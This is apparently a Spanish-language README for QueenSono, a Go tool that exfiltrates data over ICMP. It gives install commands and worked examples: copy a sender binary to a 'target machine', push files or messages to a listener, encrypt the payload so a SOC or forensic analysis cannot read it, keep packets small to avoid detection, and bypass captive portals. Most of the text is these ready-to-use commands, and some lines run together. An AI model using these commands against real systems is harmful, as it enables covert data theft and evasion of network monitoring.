
Binario Golang para exfiltración de datos con protocolo ICMP (+ bindshell ICMP, túnel HTTP sobre ICMP, ...)
La herramienta QueenSono solo se basa en el hecho de que el protocolo ICMP no es monitoreado. Es bastante común. También podría usarse dentro de un sistema con inspección básica de ICMP (por ejemplo, vigilante de frecuencia y longitud de contenido) o para evitar el paso de autenticación con portal cautivo (usado por muchos Wi-Fi públicos para autenticar usuarios después de conectarse al Wi-Fi, por ejemplo, Wi-Fi de aeropuertos). Intenta imitar a PyExfil (y otros) con la idea de que la máquina objetivo no necesariamente tiene Python instalado (por lo que proporcionar un binario podría ser útil).
Instalarlo
·
Usarlo
·
Notas
·
Solicitar Función
·
🎁
curl> Desde la versión
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Vía go install
Asegúrate de que $GOPATH esté en tu $PATH antes
Instalar qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
Instalar qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
> Instalar el binario desde el código fuente
Clona el repositorio y descarga las dependencias localmente:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Para construir el emisor de paquetes ICMP qssender :
build.queensono-sender
Para construir el receptor de paquetes ICMP qsreceiver :
build.queensono-receiver
qssender es el binario que enviará paquetes ICMP al oyente, por lo que es el binario que debes transferir a tu máquina objetivo.
qsreceiver es el oyente en tu máquina local (o donde puedas recibir paquetes ICMP)
Todos los comandos y banderas de los binarios se pueden encontrar usando --help
> En este ejemplo queremos enviar un archivo grande y esperar la respuesta de eco para confirmar la recepción de los paquetes (ACK).

En la máquina local:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 escucha en todas las interfaces para paquetes ICMP
-f received_bible.txt guarda los datos recibidos en un archivo
-p muestra una barra de progreso de los datos recibidos En la máquina objetivo:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file para enviar archivo (bible.txt es el archivo en cuestión)
-d 2 envía un paquete cada 2 segundos
-l 0.0.0.0 la dirección de escucha para respuesta de eco -r 10.0.0.92 la dirección de mi máquina remota con qsreceiver escuchando-s 50000 el tamaño de datos que quiero enviar en cada paquete> En este ejemplo queremos enviar un mensaje sin esperar respuesta de eco (podría ser útil en caso de que el firewall de destino filtre los paquetes ICMP entrantes)

En la máquina local:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 no espera indefinidamente si no recibimos todos los paquetes. (1 es el retardo usado con qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allEn la máquina objetivo:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N opción de no respuesta (no espera respuesta de eco)
> En este ejemplo queremos enviar un mensaje cifrado. Como la línea de comandos podría ser espiada, usamos cifrado asimétrico (si la clave se filtra, no es un problema entonces)

En la máquina local:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt usa intercambio de cifrado. Generará clave pública/privada. La pública será usada por qssender para cifrar datos, la privada se usará para descifrarlos con receiver
En la máquina objetivo:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key proporciona la clave para el cifrado de datos. Usa la proporcionada por el comando qsreceiver
Se utiliza cifrado RSA para mantener la confidencialidad de los datos intercambiados. Podría ser útil, por ejemplo, para evitar que un SoC vea qué datos se intercambian (o forense) con análisis básico o simplemente por privacidad.
Pero tiene un costo. La elección del cifrado asimétrico está motivada por el hecho de que la clave de cifrado se ingresa en la línea de comandos (por lo que podría recuperarse fácilmente). Por lo tanto, ciframos los datos con la clave pública. De esta manera, si alguien recupera la clave de cifrado, no será posible descifrar el mensaje. Pero la clave pública es más pequeña que la privada, por lo que cifra mensajes más pequeños. Además, es computacionalmente costoso.
Otro punto, como queremos limitar el tamaño de datos/solicitudes de ping (para evitar detección, errores, etc.), usa cifrado solo si es necesario ya que el tamaño de salida del mensaje será (debería) siempre igual al tamaño del Módulo (parte de la clave) que es grande.
Actualmente, todo el mensaje se cifra y luego se divide en fragmentos para enviar. Del otro lado esperamos todos los paquetes (fragmentos), reconstruimos nuestro mensaje y luego lo desciframos. Pero funciona ⇔ hemos recibido TODOS los fragmentos, de lo contrario el descifrado fallará.
=> Podríamos cifrar cada fragmento de acuerdo con el parámetro -s, así podríamos descifrarlos por separado.
> En este ejemplo, la máquina local envía datos de vuelta al objetivo a través de respuestas de eco ICMP. Útil cuando el ICMP saliente del objetivo está filtrado pero el objetivo puede recibir respuestas de eco.
En la máquina local:
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send espera un disparador de qssender, luego envía datos de vuelta como respuestas de eco ICMP
-l 0.0.0.0 escucha en todas las interfaces el paquete de disparo
-d 1 retardo de 1 segundo entre cada paquete de respuestaEn la máquina objetivo:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive envía un disparador a qsreceiver y recoge datos de las respuestas de eco entrantes
-l 0.0.0.0 la dirección de escucha para respuestas de eco entrantes
-r 10.0.0.92 la dirección de mi máquina local con qsreceiver reply-send esperandoQueenSono soporta ICMPv6 de forma transparente. Pasa una dirección IPv6 y el protocolo se detecta automáticamente — no se necesitan banderas adicionales.
En la máquina local:
$ qsreceiver receive -l ::
En la máquina objetivo:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: escucha en todas las interfaces IPv6
-r fe80::1 dirección IPv6 de la máquina remota — activa ICMPv6 automáticamente
Todos los modos (enviar con ACK, enviar sin ACK, cifrado, respuesta de eco) funcionan de la misma manera sobre IPv6.
Consulta la sección hack para cosas divertidas con QueenSono:
cap_net_raw